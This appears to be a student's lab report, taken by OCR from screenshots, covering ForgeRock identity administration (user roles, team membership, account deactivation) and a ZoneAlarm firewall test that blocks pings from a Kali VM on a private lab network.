🚹 🔺 Not secu	ire 192.168.75.130 :8087,	/admin/#resource/ma	naged/organization/edit/01547e24-	9c93-4061-aef6-9ba2e0b86396	5 5 12 12	🚇 🙈 🕓 🤮	• 📅
Organizatio	Add Owner	Owner	2 superman, Super, Man			×	۰.
	org/	+	Create New User		Close	3 Add	1
Details	1 Owner Admin	nistrators Men 1 Grid X Remove	nbers Selected Owner				
		DETAILS		ТҮР	E		
			No Data	1			
			× × >	»			
			« < >	»			

5. <u>Make another User Administrator.</u>

← → C ☆	A Not secure	192.168.75.130:8087/admin/#resource	e/managed/organization/edit/01547e24-9c93-4061-aef6-9ba2e0b86396	ም 🖻 🛊 🤷 🚳 G	🝳 👵 📻 🏞
		RO Add Administrators	2	×	-
	Organization	Administrators	doctorstrange, Doctor, Strange		
		Se		Close Add	
	Details	Owner Administrators	Members		
	+ Add	Administrators	X Remove Selected Administrators		
	0	DETAILS	түре		
			No Data		
			<pre></pre> <pre></pre>		

As an IAM administrator, I added 3 users to security team and deactivated 2 user accounts as below.

1. Added 3 users to security team.

→ C ∆	A Not se	ecure 192.168 .7	75.130 :8087/admin/#re	source/managed	/organization/ed	dit/01547e24-9c93-40	51-aef6-9ba2e0b863	396 (~ & t	• • •	s 😋 🧕	• 着	* =1
	For	GEROCK	∰ DASHBOARDS	s - ,⊱ co	NFIGURE +	¢\$ MANAGE -					0 -	•	
	Organizat	tion > Security	/ Team	0	Successfully add	ded Members							
	Details	ORGANIZAT Secu Owner	rity Tear	n Members									
1	+	Add Members	2 Reload Grid	× Remove Sele	ected Members]						-	
		MEMBER		[Filter GRANT				TIME CON	TRAINT			
	2 0	sanchit1, sanc	hit, sharma	1									
		amanpaul1, An	nan, Paul										
		rishabh1, risha	bh, arora										
				J	[« < > »							

2. Deactivated 2 users.

Filter	Filter	Filter	Filter	Filter	Filter
USERNAME	FIRST NAME	LAST NAME	EMAIL ADDRESS	DESCRIPTION	STATUS
amanpaul1	Aman	Paul	amanpaul@xyz.com		active
antman	Ant	Man	antman@avenger.com		active
doctorstrange	Doctor	Strange	doctorstrange@avenger.com		active
manager1	The	Manager	themanager@xyz.com		active
rishabh1	rishabh	arora	rishab@xyz.com		active
sanchit1	sanchit	sharma	sanchitsharma@xyz.com		active
spiderman	Spider	Man	spiderman@avenger.com		active
superman	Super	Man	superman@avenger.com		inactive
sur1	first	selfuser	firstselfuser@gmail.com		active
thehulk	The	Hulk	thehulk@avenger.com		inactive

Task 4: Firewall Log Analysis

I performed ping scan from kali linux to windows VM as below.

		DEC DOX VIIO	S 10 X04					
 Applications	Places	🖲 Terminal		May 31	16:13			
						Open 👻 🖪 *Un	ti Save 🚦	000
			1 miles	root@kali:~	۹ :	 1 windows VM - 192.1 2 Kali linux - 192.1	68.75.130 68.75.131	
		64 bytes fro 64 bytes fro	mm 192.168.75.130: mm 192	<pre>1cm_seq=153 ttl=128 t; icmp_seq=154 ttl=128 t; icmp_seq=155 ttl=128 t; icmp_seq=157 ttl=128 t; icmp_seq=157 ttl=128 t; icmp_seq=160 ttl=128 t; icmp_seq=160 ttl=128 t; icmp_seq=161 ttl=128 t; icmp_seq=161 ttl=128 t; icmp_seq=163 ttl=128 t; icmp_seq=164 ttl=128 t; icmp_seq=166 ttl=128 t; icmp_seq=167 ttl=128 t; icmp_seq=169 ttl=128 t; icmp_seq=170 ttl=128 t; icmp_seq=171 ttl=128 t; icmp_seq=171 ttl=128 t; icmp_seq=171 ttl=128 t; icmp_seq=171 ttl=128 t; icmp_seq=171 ttl=128 t; icmp_seq=171 ttl=128 t;</pre>	me=2.00 ms me=2.00 ms me=2.06 ms me=2.16 ms me=2.16 ms me=2.06 ms me=2.06 ms me=2.21 ms me=2.21 ms me=2.21 ms me=3.74 ms me=1.92 ms me=1.92 ms me=2.74 ms me=2.74 ms me=2.74 ms me=2.74 ms me=2.74 ms me=2.74 ms me=2.33 ms me=2.33 ms me=2.33 ms me=2.33 ms me=2.33 ms me=2.30 ms	(t ▼ Tab Width; 8 ▼	Ln 2, Col 28	✓ INS

Ping was working fine. Both machines are in trusted connection.

ON	Firewall Settin	as		ck Poinť	
ree	T ITCWCIII OCUIII	195		fools Help	IC Windo
YC	Advanced	ZoneAlarr	n X Zana		
	View Zones	Add Zone	Trusted ss Trusted		
I		Add IP Address below. Name th you're trusting a	to your Trusted or Blocked Zone by completing the fields e IP Address for easy reference later so you always know who nd who you're not		
Curre		Zone	Blocked V		
Off		Description	192.168.75.131 Kali VM	cting with	
Off			OK Cancel		
Histo					
32 a			Add >> Remove Edit		
			04	v Zones	

I blocked Kali linux ip in the firewall @Windows VM as below.

Further, My Kali VM was not able to communicate with Windows VM depicting that firewall is working

fine. Also, Logs were generated describing Kali VM trying to establish connection with it.

				File Edit
Z Zone	ZoneAlarm	×		(ali li
Zon Free	Alerts and Logs		CK Point	: IC Windov
	Main Alert Events Log Control Log Viewer	Select log type: Firewall Show Last: 50 Clear Refresh Type Date and Time Incoming 2022/06/01 01:45:12 +5:30 GMT Blocked 192.168.75.131:0 Action Source IP Blocked 192.168.75.131:0 Add To Zone More Info OK Cancel	Settings	